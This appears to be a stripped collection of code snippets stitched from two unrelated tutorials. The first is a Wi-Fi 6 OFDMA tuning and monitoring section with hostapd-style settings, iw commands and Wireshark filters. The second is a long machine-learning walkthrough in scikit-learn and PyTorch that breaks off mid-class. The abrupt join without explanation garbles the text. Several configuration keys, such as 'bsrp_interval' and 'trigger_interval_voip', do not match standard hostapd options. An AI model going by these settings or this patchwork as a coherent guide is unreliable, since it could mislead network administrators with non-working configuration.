
bsrp_interval_ms=500  # Poll every 500ms
bsrp_on_demand=true   # Also poll when needed

# View detailed station statistics
iw dev wlan0 station get <MAC_ADDRESS>

# Look for HE-specific stats:
# - rx HE-MCS
# - tx HE-MCS
# - HE RU allocation histogram

# Show all trigger frames
wlan.fc.type_subtype == 0x02 && wlan.ext_tag.he.trigger_type

# Show HE MU PPDUs (multi-user)
wlan.ext_tag.he.ppdu_format == 2

# Show RU allocations
wlan.ext_tag.he.ru_allocation

def monitor_ofdma_performance():
    stats = {
        'total_txop': 0,
        'ofdma_txop': 0,
        'ru_size_histogram': {},
        'users_per_txop': []
    }

    while monitoring:
        frame = capture_frame()

        if is_he_mu_ppdu(frame):
            stats['total_txop'] += 1
            stats['ofdma_txop'] += 1

            ru_allocations = parse_ru_allocations(frame)
            for ru in ru_allocations:
                stats['ru_size_histogram'][ru.size] = \
                    stats['ru_size_histogram'].get(ru.size, 0) + 1

            stats['users_per_txop'].append(len(ru_allocations))

        elif is_su_ppdu(frame):
            stats['total_txop'] += 1

    ofdma_utilization = stats['ofdma_txop'] / stats['total_txop']
    avg_users = mean(stats['users_per_txop'])

    print(f"OFDMA Utilization: {ofdma_utilization:.1%}")
    print(f"Average users per TXOP: {avg_users:.1f}")
    print(f"RU size distribution: {stats['ru_size_histogram']}")

# Verify AP supports OFDMA
iw phy phy0 info | grep "HE MAC Capabilities" -A 10

# Check connected stations
for sta in $(iw dev wlan0 station dump | grep Station | awk '{print $2}'); do
    echo "=== $sta ==="
    iw dev wlan0 station get $sta | grep -i "HE\|ax"
done

# Verify configuration
grep -i "he\|ax\|ofdma" /etc/hostapd/hostapd.conf

# Enable OFDMA explicitly
# Add to hostapd.conf:
# he_mu_beamformer=1

# Reduce trigger interval for latency-sensitive traffic
# In hostapd or vendor-specific configuration:
trigger_interval_voip=10    # 10ms for voice
trigger_interval_video=20   # 20ms for video

# Adjust BSRP polling
bsrp_interval=250          # Poll every 250ms instead of 500ms
bsrp_on_trigger=true       # Combine with data triggers

# Optimize channel selection to avoid interference
iw dev wlan0 survey dump   # Check channel utilization
# Select least congested channel

# Adjust OFDMA activation threshold
ofdma_min_users=4  # Only use OFDMA with 4+ active users

# Use adaptive scheduling
scheduler_mode=adaptive  # Switch between OFDM/OFDMA based on traffic

# Configure RU size selection
min_ru_size_high_throughput=242  # Use larger RUs for bulk transfers

# Adjust target RSSI
ul_target_rssi=-75  # More conservative target

# Increase BSRP frequency
bsrp_interval=200   # Poll more frequently for accurate buffer status

# Enable TWT (Target Wake Time) for better power save coordination
he_twt_required=1

# Monitor and log trigger frame success rate
enable_trigger_logging=1

# Enable BSS coloring
he_bss_color=5  # Color this BSS (1-63)

# OBSS PD parameters
he_obss_pd_min_threshold=-82
he_obss_pd_max_threshold=-62

80 MHz Channel:
+----------+----------+----------+----------+
| 242-RU   | 242-RU   | 242-RU   | 242-RU   |
| STA A    | STA A    | STA B    | STA C    |
| (MRU)    | (MRU)    |          |          |
+----------+----------+----------+----------+

80 MHz Channel with interference on sub-channel 2:
+----------+----------+----------+----------+
| 20 MHz   | 20 MHz   | 20 MHz   | 20 MHz   |
| RUs      | PUNCTURE | RUs      | RUs      |
| Active   | (Interf) | Active   | Active   |
+----------+----------+----------+----------+

import numpy as np
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.linear_model import LogisticRegression
from sklearn.metrics import accuracy_score, classification_report

# 1. Load and prepare data
X, y = load_data()  # Features and labels

# 2. Split data
X_train, X_test, y_train, y_test = train_test_split(
    X, y, test_size=0.2, random_state=42
)

# 3. Preprocess data
scaler = StandardScaler()
X_train_scaled = scaler.fit_transform(X_train)
X_test_scaled = scaler.transform(X_test)

# 4. Train model
model = LogisticRegression()
model.fit(X_train_scaled, y_train)

# 5. Evaluate
y_pred = model.predict(X_test_scaled)
print(f"Accuracy: {accuracy_score(y_test, y_pred):.4f}")
print(classification_report(y_test, y_pred))

import matplotlib.pyplot as plt
from sklearn.model_selection import learning_curve

def plot_learning_curve(estimator, X, y):
    train_sizes, train_scores, val_scores = learning_curve(
        estimator, X, y, cv=5, n_jobs=-1,
        train_sizes=np.linspace(0.1, 1.0, 10)
    )

    train_mean = np.mean(train_scores, axis=1)
    train_std = np.std(train_scores, axis=1)
    val_mean = np.mean(val_scores, axis=1)
    val_std = np.std(val_scores, axis=1)

    plt.figure(figsize=(10, 6))
    plt.plot(train_sizes, train_mean, label='Training score')
    plt.plot(train_sizes, val_mean, label='Validation score')
    plt.fill_between(train_sizes, train_mean - train_std, 
                     train_mean + train_std, alpha=0.1)
    plt.fill_between(train_sizes, val_mean - val_std, 
                     val_mean + val_std, alpha=0.1)
    plt.xlabel('Training Set Size')
    plt.ylabel('Score')
    plt.legend()
    plt.title('Learning Curve')
    plt.show()

from sklearn.model_selection import cross_val_score, KFold

# K-Fold Cross-Validation
kfold = KFold(n_splits=5, shuffle=True, random_state=42)
scores = cross_val_score(model, X, y, cv=kfold, scoring='accuracy')
print(f"Cross-validation scores: {scores}")
print(f"Mean accuracy: {scores.mean():.4f} (+/- {scores.std() * 2:.4f})")

# Stratified K-Fold (maintains class distribution)
from sklearn.model_selection import StratifiedKFold
skfold = StratifiedKFold(n_splits=5, shuffle=True, random_state=42)
scores = cross_val_score(model, X, y, cv=skfold, scoring='accuracy')

Loss = MSE + λ * Σ|w_i|

Loss = MSE + λ * Σw_i²

Loss = MSE + λ₁ * Σ|w_i| + λ₂ * Σw_i²

from sklearn.linear_model import Lasso, Ridge, ElasticNet

# L1 Regularization
lasso = Lasso(alpha=0.1)
lasso.fit(X_train, y_train)

# L2 Regularization
ridge = Ridge(alpha=1.0)
ridge.fit(X_train, y_train)

# Elastic Net
elastic = ElasticNet(alpha=0.1, l1_ratio=0.5)
elastic.fit(X_train, y_train)

import pandas as pd
from sklearn.preprocessing import PolynomialFeatures, OneHotEncoder

# Polynomial features
poly = PolynomialFeatures(degree=2, include_bias=False)
X_poly = poly.fit_transform(X)

# One-hot encoding for categorical variables
encoder = OneHotEncoder(sparse=False, drop='first')
X_encoded = encoder.fit_transform(df[['category1', 'category2']])

# Feature scaling
from sklearn.preprocessing import MinMaxScaler, RobustScaler

# Min-Max scaling (0 to 1)
minmax_scaler = MinMaxScaler()
X_minmax = minmax_scaler.fit_transform(X)

# Robust scaling (uses median and IQR)
robust_scaler = RobustScaler()
X_robust = robust_scaler.fit_transform(X)

from sklearn.model_selection import GridSearchCV, RandomizedSearchCV
from sklearn.ensemble import RandomForestClassifier

# Grid Search
param_grid = {
    'n_estimators': [100, 200, 300],
    'max_depth': [10, 20, 30, None],
    'min_samples_split': [2, 5, 10],
    'min_samples_leaf': [1, 2, 4]
}

grid_search = GridSearchCV(
    RandomForestClassifier(),
    param_grid,
    cv=5,
    scoring='accuracy',
    n_jobs=-1
)
grid_search.fit(X_train, y_train)
print(f"Best parameters: {grid_search.best_params_}")

# Randomized Search (faster for large parameter spaces)
from scipy.stats import randint, uniform

param_distributions = {
    'n_estimators': randint(100, 500),
    'max_depth': randint(10, 50),
    'min_samples_split': randint(2, 20),
    'min_samples_leaf': randint(1, 10)
}

random_search = RandomizedSearchCV(
    RandomForestClassifier(),
    param_distributions,
    n_iter=100,
    cv=5,
    random_state=42,
    n_jobs=-1
)
random_search.fit(X_train, y_train)

from sklearn.metrics import (
    accuracy_score, precision_score, recall_score, f1_score,
    confusion_matrix, roc_auc_score, roc_curve
)

# Basic metrics
accuracy = accuracy_score(y_test, y_pred)
precision = precision_score(y_test, y_pred, average='weighted')
recall = recall_score(y_test, y_pred, average='weighted')
f1 = f1_score(y_test, y_pred, average='weighted')

# Confusion matrix
cm = confusion_matrix(y_test, y_pred)
print(cm)

# ROC-AUC
y_proba = model.predict_proba(X_test)[:, 1]
auc = roc_auc_score(y_test, y_proba)
fpr, tpr, thresholds = roc_curve(y_test, y_proba)

# Plot ROC curve
plt.figure(figsize=(8, 6))
plt.plot(fpr, tpr, label=f'ROC curve (AUC = {auc:.2f})')
plt.plot([0, 1], [0, 1], 'k--', label='Random classifier')
plt.xlabel('False Positive Rate')
plt.ylabel('True Positive Rate')
plt.title('ROC Curve')
plt.legend()
plt.show()

from sklearn.metrics import mean_squared_error, mean_absolute_error, r2_score

# Mean Squared Error
mse = mean_squared_error(y_test, y_pred)
rmse = np.sqrt(mse)

# Mean Absolute Error
mae = mean_absolute_error(y_test, y_pred)

# R² Score
r2 = r2_score(y_test, y_pred)

print(f"RMSE: {rmse:.4f}")
print(f"MAE: {mae:.4f}")
print(f"R² Score: {r2:.4f}")

# WRONG: Scaling before splitting
X_scaled = scaler.fit_transform(X)
X_train, X_test = train_test_split(X_scaled)

# CORRECT: Fit scaler only on training data
X_train, X_test = train_test_split(X)
X_train_scaled = scaler.fit_transform(X_train)
X_test_scaled = scaler.transform(X_test)

from imblearn.over_sampling import SMOTE
from imblearn.under_sampling import RandomUnderSampler

# SMOTE (Synthetic Minority Over-sampling)
smote = SMOTE(random_state=42)
X_resampled, y_resampled = smote.fit_resample(X_train, y_train)

# Class weights
model = LogisticRegression(class_weight='balanced')

from sklearn.feature_selection import (
    SelectKBest, f_classif, RFE, SelectFromModel
)

# Univariate feature selection
selector = SelectKBest(f_classif, k=10)
X_selected = selector.fit_transform(X_train, y_train)

# Recursive Feature Elimination
rfe = RFE(estimator=LogisticRegression(), n_features_to_select=10)
X_rfe = rfe.fit_transform(X_train, y_train)

# Model-based selection
sfm = SelectFromModel(RandomForestClassifier(), threshold='median')
X_sfm = sfm.fit_transform(X_train, y_train)

# Use efficient data structures
import pandas as pd
df = pd.read_csv('data.csv', dtype={'col1': 'category'})

# Parallel processing
from joblib import Parallel, delayed
results = Parallel(n_jobs=-1)(delayed(process)(x) for x in data)

# Batch processing for large datasets
def batch_process(data, batch_size=1000):
    for i in range(0, len(data), batch_size):
        batch = data[i:i+batch_size]
        yield process_batch(batch)

# Use generators for memory efficiency
def data_generator(file_path):
    for chunk in pd.read_csv(file_path, chunksize=1000):
        yield chunk

y = f(Σ(w_i * x_i) + b)

import torch
import torch.nn as nn
import torch.optim as optim
import numpy as np

# Simple perceptron
class Perceptron(nn.Module):
    def __init__(self, input_dim):
        super(Perceptron, self).__init__()
        self.linear = nn.Linear(input_dim, 1)
        self.sigmoid = nn.Sigmoid()

    def forward(self, x):
        return self.sigmoid(self.linear(x))

# Example usage
input_dim = 4
model = Perceptron(input_dim)
x = torch.randn(32, input_dim)
output = model(x)
print(f"Output shape: {output.shape}")

class MLP(nn.Module):
    def __init__(self, input_dim, hidden_dims, output_dim):
        super(MLP, self).__init__()

        layers = []
        prev_dim = input_dim

        # Hidden layers
        for hidden_dim in hidden_dims:
            layers.append(nn.Linear(prev_dim, hidden_dim))
            layers.append(nn.ReLU())
            prev_dim = hidden_dim

        # Output layer
        layers.append(nn.Linear(prev_dim, output_dim))

        self.network = nn.Sequential(*layers)

    def forward(self, x):
        return self.network(x)

# Example: 3-layer MLP
model = MLP(input_dim=10, hidden_dims=[64, 32], output_dim=2)
x = torch.randn(16, 10)
output = model(x)
print(f"Output shape: {output.shape}")

z^[l] = W^[l] · a^[l-1] + b^[l]
a^[l] = g^[l](z^[l])

dL/dW^[l] = dL/da^[l] · da^[l]/dz^[l] · dz^[l]/dW^[l]

# Manual backpropagation example
class SimpleNN:
    def __init__(self, input_size, hidden_size, output_size):
        self.W1 = np.random.randn(input_size, hidden_size) * 0.01
        self.b1 = np.zeros((1, hidden_size))
        self.W2 = np.random.randn(hidden_size, output_size) * 0.01
        self.b2 = np.zeros((1, output_size))

    def sigmoid(self, z):
        return 1 / (1 + np.exp(-z))

    def sigmoid_derivative(self, a):
        return a * (1 - a)

    def forward(self, X):
        self.z1 = np.dot(X, self.W1) + self.b1
        self.a1 = self.sigmoid(self.z1)
        self.z2 = np.dot(self.a1, self.W2) + self.b2
        self.a2 = self.sigmoid(self.z2)
        return self.a2

    def backward(self, X, y, learning_rate=0.01):
        m = X.shape[0]

        # Output layer gradients
        dz2 = self.a2 - y
        dW2 = (1/m) * np.dot(self.a1.T, dz2)
        db2 = (1/m) * np.sum(dz2, axis=0, keepdims=True)

        # Hidden layer gradients
        dz1 = np.dot(dz2, self.W2.T) * self.sigmoid_derivative(self.a1)
        dW1 = (1/m) * np.dot(X.T, dz1)
        db1 = (1/m) * np.sum(dz1, axis=0, keepdims=True)

        # Update weights
        self.W2 -= learning_rate * dW2
        self.b2 -= learning_rate * db2
        self.W1 -= learning_rate * dW1
        self.b1 -= learning_rate * db1

import torch.nn.functional as F

# ReLU (Rectified Linear Unit)
def relu(x):
    return torch.max(torch.zeros_like(x), x)

# Leaky ReLU
def leaky_relu(x, alpha=0.01):
    return torch.where(x > 0, x, alpha * x)

# Sigmoid
def sigmoid(x):
    return 1 / (1 + torch.exp(-x))

# Tanh
def tanh(x):
    return torch.tanh(x)

# Softmax (for multi-class classification)
def softmax(x, dim=-1):
    exp_x = torch.exp(x - torch.max(x, dim=dim, keepdim=True)[0])
    return exp_x / torch.sum(exp_x, dim=dim, keepdim=True)

# GELU (Gaussian Error Linear Unit)
def gelu(x):
    return 0.5 * x * (1 + torch.tanh(np.sqrt(2/np.pi) * (x + 0.044715 * x**3)))

# Swish/SiLU
def swish(x):
    return x * torch.sigmoid(x)

# Visualization
x = torch.linspace(-5, 5, 100)
activations = {
    'ReLU': F.relu(x),
    'Leaky ReLU': F.leaky_relu(x, 0.1),
    'Sigmoid': torch.sigmoid(x),
    'Tanh': torch.tanh(x),
    'GELU': F.gelu(x),
    'Swish': x * torch.sigmoid(x)
}

import matplotlib.pyplot as plt
fig, axes = plt.subplots(2, 3, figsize=(15, 10))
for ax, (name, y) in zip(axes.flatten(), activations.items()):
    ax.plot(x.numpy(), y.numpy())
    ax.set_title(name)
    ax.grid(True)
    ax.axhline(y=0, color='k', linestyle='--', alpha=0.3)
    ax.axvline(x=0, color='k', linestyle='--', alpha=0.3)
plt.tight_layout()
plt.show()

# Binary Cross-Entropy
def binary_cross_entropy(predictions, targets):
    return -torch.mean(targets * torch.log(predictions + 1e-8) + 
                      (1 - targets) * torch.log(1 - predictions + 1e-8))

# Categorical Cross-Entropy
def categorical_cross_entropy(predictions, targets):
    return -torch.mean(torch.sum(targets * torch.log(predictions + 1e-8), dim=1))

# Focal Loss (for imbalanced datasets)
class FocalLoss(nn.Module):
    def __init__(self, alpha=1, gamma=2):
        super(FocalLoss, self).__init__()
        self.alpha = alpha
        self.gamma = gamma

    def forward(self, inputs, targets):
        ce_loss = F.cross_entropy(inputs, targets, reduction='none')
        pt = torch.exp(-ce_loss)
        focal_loss = self.alpha * (1 - pt) ** self.gamma * ce_loss
        return focal_loss.mean()

# Using PyTorch built-in losses
criterion_bce = nn.BCELoss()
criterion_ce = nn.CrossEntropyLoss()
criterion_nll = nn.NLLLoss()

# Example
predictions = torch.rand(32, 10)
targets = torch.randint(0, 10, (32,))
loss = criterion_ce(predictions, targets)

# Mean Squared Error (MSE)
criterion_mse = nn.MSELoss()

# Mean Absolute Error (MAE)
criterion_mae = nn.L1Loss()

# Smooth L1 Loss (Huber Loss)
criterion_smooth = nn.SmoothL1Loss()

# Custom loss example
class CustomRegressionLoss(nn.Module):
    def __init__(self):
        super(CustomRegressionLoss, self).__init__()

    def forward(self, predictions, targets):
        mse = torch.mean((predictions - targets) ** 2)
        mae = torch.mean(torch.abs(predictions - targets))
        return mse + 0.1 * mae

# Stochastic Gradient Descent (SGD)
optimizer_sgd = optim.SGD(model.parameters(), lr=0.01, momentum=0.9)

# Adam (Adaptive Moment Estimation)
optimizer_adam = optim.Adam(model.parameters(), lr=0.001, betas=(0.9, 0.999))

# AdamW (Adam with weight decay)
optimizer_adamw = optim.AdamW(model.parameters(), lr=0.001, weight_decay=0.01)

# RMSprop
optimizer_rmsprop = optim.RMSprop(model.parameters(), lr=0.001, alpha=0.99)

# Adagrad
optimizer_adagrad = optim.Adagrad(model.parameters(), lr=0.01)

# Training loop
def train_epoch(model, dataloader, criterion, optimizer, device):
    model.train()
    total_loss = 0

    for batch_idx, (data, target) in enumerate(dataloader):
        data, target = data.to(device), target.to(device)

        # Forward pass
        optimizer.zero_grad()
        output = model(data)
        loss = criterion(output, target)

        # Backward pass
        loss.backward()

        # Gradient clipping (optional)
        torch.nn.utils.clip_grad_norm_(model.parameters(), max_norm=1.0)

        # Update weights
        optimizer.step()

        total_loss += loss.item()

    return total_loss / len(dataloader)

from torch.optim.lr_scheduler import (
    StepLR, ExponentialLR, CosineAnnealingLR, 
    ReduceLROnPlateau, OneCycleLR
)

# Step decay
scheduler_step = StepLR(optimizer, step_size=10, gamma=0.1)

# Exponential decay
scheduler_exp = ExponentialLR(optimizer, gamma=0.95)

# Cosine annealing
scheduler_cosine = CosineAnnealingLR(optimizer, T_max=100, eta_min=1e-6)

# Reduce on plateau
scheduler_plateau = ReduceLROnPlateau(
    optimizer, mode='min', factor=0.1, patience=10, verbose=True
)

# One Cycle Policy
scheduler_onecycle = OneCycleLR(
    optimizer, max_lr=0.01, epochs=100, steps_per_epoch=len(train_loader)
)

# Usage in training loop
for epoch in range(num_epochs):
    train_loss = train_epoch(model, train_loader, criterion, optimizer, device)
    val_loss = validate(model, val_loader, criterion, device)

    # Step the scheduler
    scheduler_plateau.step(val_loss)  # For ReduceLROnPlateau
    # OR
    scheduler_step.step()  # For other schedulers

    print(f"Epoch {epoch}: LR = {optimizer.param_groups[0]['lr']:.6f}")

class MLPWithDropout(nn.Module):
    def __init__(self, input_dim, hidden_dims, output_dim, dropout_rate=0.5):
        super(MLPWithDropout, self).__init__()

        layers = []
        prev_dim = input_dim

        for hidden_dim in hidden_dims:
            layers.append(nn.Linear(prev_dim, hidden_dim))
            layers.append(nn.ReLU())
            layers.append(nn.Dropout(dropout_rate))
            prev_dim = hidden_dim

        layers.append(nn.Linear(prev_dim, output_dim))
        self.network = nn.Sequential(*layers)

    def forward(self, x):
        return self.network(x)

# Dropout variants
dropout = nn.Dropout(p=0.5)  # Standard dropout
dropout_2d = nn.Dropout2d(p=0.5)  # For Conv2d
dropout_3d = nn.Dropout3d(p=0.5)  # For Conv3d
alpha_dropout = nn.AlphaDropout(p=0.5)  # For SELU activation

# Weight decay in optimizer
optimizer = optim.Adam(model.parameters(), lr=0.001, weight_decay=0.01)

# Manual L2 regularization
def l2_regularization(model, lambda_l2=0.01):
    l2_loss = 0
    for param in model.parameters():
        l2_loss += torch.norm(param, 2)
    return lambda_l2 * l2_loss

# In training loop
loss = criterion(output, target) + l2_regularization(model)

class EarlyStopping:
    def __init__(self, patience=10, min_delta=0, mode='min'):
        self.patience = patience
        self.min_delta = min_delta
        self.mode = mode
        self.counter = 0
        self.best_score = None
        self.early_stop = False

    def __call__(self, val_loss):
        score = -val_loss if self.mode == 'min' else val_loss

        if self.best_score is None:
            self.best_score = score
        elif score < self.best_score + self.min_delta:
            self.counter += 1
            if self.counter >= self.patience:
                self.early_stop = True
        else:
            self.best_score = score
            self.counter = 0

        return self.early_stop

# Usage
early_stopping = EarlyStopping(patience=10)

for epoch in range(num_epochs):
    train_loss = train_epoch(model, train_loader, criterion, optimizer, device)
    val_loss = validate(model, val_loader, criterion, device)

    if early_stopping(val_loss):
        print(f"Early stopping at epoch {epoch}")
        break

class SimpleCNN(nn.Module):
    def __init__(self, num_classes=10):
        super(SimpleCNN, self).__init__()

        # Convolutional layers
        self.conv1 = nn.Conv2d(3, 32, kernel_size=3, padding=1)
        self.conv2 = nn.Conv2d(32, 64, kernel_size=3, padding=1)
        self.conv3 = nn.Conv2d(64, 128, kernel_size=3, padding=1)

        # Pooling
        self.pool = nn.MaxPool2d(2, 2)

        # Fully connected layers
        self.fc1 = nn.Linear(128 * 4 * 4, 512)
        self.fc2 = nn.Linear(512, num_classes)

        # Dropout
        self.dropout = nn.Dropout(0.5)

    def forward(self, x):
        # Conv block 1
        x = self.pool(F.relu(self.conv1(x)))  # 32x32 -> 16x16

        # Conv block 2
        x = self.pool(F.relu(self.conv2(x)))  # 16x16 -> 8x8

        # Conv block 3
        x = self.pool(F.relu(self.conv3(x)))  # 8x8 -> 4x4

        # Flatten
        x = x.view(x.size(0), -1)

        # Fully connected
        x = F.relu(self.fc1(x))
        x = self.dropout(x)
        x = self.fc2(x)

        return x

# Example usage
model = SimpleCNN(num_classes=10)
x = torch.randn(4, 3, 32, 32)  # Batch of 4 RGB 32x32 images
output = model(x)
print(f"Output shape: {output.shape}")  # [4, 10]

class ResidualBlock(nn.Module):
    def __init__(self, in_channels, out_channels, stride=1):
        super(ResidualBlock, self).__init__()

        self.conv1 = nn.Conv2d(in_channels, out_channels, 3, stride, padding=1, bias=False)
        self.bn1 = nn.BatchNorm2d(out_channels)
        self.conv2 = nn.Conv2d(out_channels, out_channels, 3, 1, padding=1, bias=False)
        self.bn2 = nn.BatchNorm2d(out_channels)

        self.shortcut = nn.Sequential()
        if stride != 1 or in_channels != out_channels:
            self.shortcut = nn.Sequential(
                nn.Conv2d(in_channels, out_channels, 1, stride, bias=False),
                nn.BatchNorm2d(out_channels)
            )

    def forward(self, x):
        residual = x

        out = F.relu(self.bn1(self.conv1(x)))
        out = self.bn2(self.conv2(out))
        out += self.shortcut(residual)
        out = F.relu(out)

        return out

class ResNet(nn.Module):
    def __init__(self, num_blocks, num_classes=10):
        super(ResNet, self).__init__()

        self.conv1 = nn.Conv2d(3, 64, 3, 1, padding=1, bias=False)
        self.bn1 = nn.BatchNorm2d(64)

        self.layer1 = self._make_layer(64, 64, num_blocks[0], stride=1)
        self.layer2 = self._make_layer(64, 128, num_blocks[1], stride=2)
        self.layer3 = self._make_layer(128, 256, num_blocks[2], stride=2)
        self.layer4 = self._make_layer(256, 512, num_blocks[3], stride=2)

        self.avgpool = nn.AdaptiveAvgPool2d((1, 1))
        self.fc = nn.Linear(512, num_classes)

    def _make_layer(self, in_channels, out_channels, num_blocks, stride):
        layers = []
        layers.append(ResidualBlock(in_channels, out_channels, stride))
        for _ in range(1, num_blocks):
            layers.append(ResidualBlock(out_channels, out_channels))
        return nn.Sequential(*layers)

    def forward(self, x):
        x = F.relu(self.bn1(self.conv1(x)))
        x = self.layer1(x)
        x = self.layer2(x)
        x = self.layer3(x)
        x = self.layer4(x)
        x = self.avgpool(x)
        x = x.view(x.size(0), -1)
        x = self.fc(x)
        return x

# ResNet-18
model = ResNet([2, 2, 2, 2])

class InceptionModule(nn.Module):
    def __init__(self, in_channels, out_1x1, red_3x3, out_3x3, red_5x5, out_5x5, out_pool):
        super(InceptionModule, self).__init__()

        # 1x1 conv branch
        self.branch1 = nn.Sequential(
            nn.Conv2d(in_channels, out_1x1, kernel_size=1),
            nn.ReLU()
        )

        # 3x3 conv branch
        self.branch2 = nn.Sequential(
            nn.Conv2d(in_channels, red_3x3, kernel_size=1),
            nn.ReLU(),
            nn.Conv2d(red_3x3, out_3x3, kernel_size=3, padding=1),
            nn.ReLU()
        )

        # 5x5 conv branch
        self.branch3 = nn.Sequential(
            nn.Conv2d(in_channels, red_5x5, kernel_size=1),
            nn.ReLU(),
            nn.Conv2d(red_5x5, out_5x5, kernel_size=5, padding=2),
            nn.ReLU()
        )

        # Max pooling branch
        self.branch4 = nn.Sequential(
            nn.MaxPool2d(kernel_size=3, stride=1, padding=1),
            nn.Conv2d(in_channels, out_pool, kernel_size=1),
            nn.ReLU()
        )

    def forward(self, x):
        branch1 = self.branch1(x)
        branch2 = self.branch2(x)
        branch3 = self.branch3(x)
        branch4 = self.branch4(x)

        return torch.cat([branch1, branch2, branch3, branch4], dim=1)

# Depthwise Separable Convolution
class DepthwiseSeparableConv(nn.Module):
    def __init__(self, in_channels, out_channels, kernel_size=3):
        super(DepthwiseSeparableConv, self).__init__()

        # Depthwise convolution
        self.depthwise = nn.Conv2d(
            in_channels, in_channels, kernel_size, 
            padding=kernel_size//2, groups=in_channels
        )

        # Pointwise convolution
        self.pointwise = nn.Conv2d(in_channels, out_channels, 1)

    def forward(self, x):
        x = self.depthwise(x)
        x = self.pointwise(x)
        return x

# Squeeze-and-Excitation Block
class SEBlock(nn.Module):
    def __init__(self, channels, reduction=16):
        super(SEBlock, self).__init__()
        self.squeeze = nn.AdaptiveAvgPool2d(1)
        self.excitation = nn.Sequential(
            nn.Linear(channels, channels // reduction, bias=False),
            nn.ReLU(),
            nn.Linear(channels // reduction, channels, bias=False),
            nn.Sigmoid()
        )

    def forward(self, x):
        b, c, _, _ = x.size()
        y = self.squeeze(x).view(b, c)
        y = self.excitation(y).view(b, c, 1, 1)
        return x * y.expand_as(x)

class SimpleRNN(nn.Module):
    def __init__(self, input_size, hidden_size, output_size, num_layers=1):
        super(SimpleRNN, self).__init__()
        self.hidden_size = hidden_size
        self.num_layers = num_layers

        self.rnn = nn.RNN(input_size, hidden_size, num_layers, batch_first=True)
        self.fc = nn.Linear(hidden_size, output_size)

    def forward(self, x):
        # x shape: (batch, seq_len, input_size)
        h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(x.device)

        # RNN output
        out, hn = self.rnn(x, h0)
        # out shape: (batch, seq_len, hidden_size)

        # Use last time step
        out = self.fc(out[:, -1, :])
        return out

# Example
model = SimpleRNN(input_size=10, hidden_size=64, output_size=2)
x = torch.randn(32, 20, 10)  # (batch, seq_len, features)
output = model(x)
print(f"Output shape: {output.shape}")  # [32, 2]

class LSTMModel(nn.Module):
    def __init__(self, input_size, hidden_size, output_size, num_layers=2, dropout=0.2):
        super(LSTMModel, self).__init__()
        self.hidden_size = hidden_size
        self.num_layers = num_layers

        self.lstm = nn.LSTM(
            input_size, hidden_size, num_layers,
            batch_first=True, dropout=dropout if num_layers > 1 else 0
        )
        self.fc = nn.Linear(hidden_size, output_size)

    def forward(self, x):
        # Initialize hidden and cell states
        h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(x.device)
        c0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(x.device)

        # LSTM forward
        out, (hn, cn) = self.lstm(x, (h0, c0))

        # Use last time step
        out = self.fc(out[:, -1, :])
        return out

# Bidirectional LSTM
class BiLSTM(nn.Module):
    def __init__(self, input_size, hidden_size, output_size, num_layers=2):
        super(BiLSTM, self).__init__()

        self.lstm = nn.LSTM(
            input_size, hidden_size, num_layers,
            batch_first=True, bidirectional=True
        )
        # Multiply by 2 for bidirectional
        self.fc = nn.Linear(hidden_size * 2, output_size)

    def forward(self, x):
        out, _ = self.lstm(x)
        out = self.fc(out[:, -1, :])
        return out

class GRUModel(nn.Module):
    def __init__(self, input_size, hidden_size, output_size, num_layers=2, dropout=0.2):
        super(GRUModel, self).__init__()
        self.hidden_size = hidden_size
        self.num_layers = num_layers

        self.gru = nn.GRU(
            input_size, hidden_size, num_layers,
            batch_first=True, dropout=dropout if num_layers > 1 else 0
        )
        self.fc = nn.Linear(hidden_size, output_size)

    def forward(self, x):
        h0 = torch.zeros(self.num_layers, x.size(0), self.hidden_size).to(x.device)
        out, hn = self.gru(x, h0)
        out = self.fc(out[:, -1, :])
        return out

# Comparison
models = {
    'RNN': SimpleRNN(10, 64, 2),
    'LSTM': LSTMModel(10, 64, 2),
    'GRU': GRUModel(10, 64, 2)
}

for name, model in models.items():
    params = sum(p.numel() for p in model.parameters())
    print(f"{name} parameters: {params}")

class SelfAttention(nn.Module):
    def __init__(self, embed_dim, num_heads=8):
        super(SelfAttention, self).__init__()
        self.embed_dim = embed_dim
        self.num_heads = num_heads
        self.head_dim = embed_dim // num_heads

        assert self.head_dim * num_heads == embed_dim, "embed_dim must be divisible by num_heads"

        self.query = nn.Linear(embed_dim, embed_dim)
        self.key = nn.Linear(embed_dim, embed_dim)
        self.value = nn.Linear(embed_dim, embed_dim)
        self.out = nn.Linear(embed_dim, embed_dim)

    def forward(self, x, mask=None):
        batch_size = x.size(0)

        # Linear projections
        Q = self.query(x).view(batch_size, -1, self.num_heads, self.head_dim).transpose(1, 2)
        K = self.key(x).view(batch_size, -1, self.num_heads, self.head_dim).transpose(1, 2)
        V = self.value(x).view(batch_size, -1, self.num_heads, self.head_dim).transpose(1, 2)

        # Scaled dot-product attention
        scores = torch.matmul(Q, K.transpose(-2, -1)) / np.sqrt(self.head_dim)

        if mask is not None:
            scores = scores.masked_fill(mask == 0, -1e9)

        attention_weights = F.softmax(scores, dim=-1)
        attention_output = torch.matmul(attention_weights, V)

        # Concatenate heads
        attention_output = attention_output.transpose(1, 2).contiguous()
        attention_output = attention_output.view(batch_size, -1, self.embed_dim)

        # Final linear layer
        output = self.out(attention_output)
        return output, attention_weights

# Example
attention = SelfAttention(embed_dim=512, num_heads=8)
x = torch.randn(32, 10, 512)  # (batch, seq_len, embed_dim)
output, weights = attention(x)
print(f"Output shape: {output.shape}")
print(f"Attention weights shape: {weights.shape}")

class TransformerBlock(nn.Module):
    def __init__(self, embed_dim, num_heads, ff_dim, dropout=0.1):
        super(TransformerBlock, self).__init__()

        self.attention = nn.MultiheadAttention(embed_dim, num_heads, dropout=dropout)
        self.norm1 = nn.LayerNorm(embed_dim)
        self.norm2 = nn.LayerNorm(embed_dim)

        self.feed_forward = nn.Sequential(
            nn.Linear(embed_dim, ff_dim),
            nn.ReLU(),
            nn.Dropout(dropout),
            nn.Linear(ff_dim, embed_dim)
        )

        self.dropout = nn.Dropout(dropout)

    def forward(self, x, mask=None):
        # Multi-head attention
        attn_output, _ = self.attention(x, x, x, attn_mask=mask)
        x = self.norm1(x + self.dropout(attn_output))

        # Feed-forward
        ff_output = self.feed_forward(x)
        x = self.norm2(x + self.dropout(ff_output))

        return x

class ConvBNReLU(nn.Module):
    def __init__(self, in_channels, out_channels):
        super(ConvBNReLU, self).__init__()
        self.conv = nn.Conv2d(in_channels, out_channels, 3, padding=1)
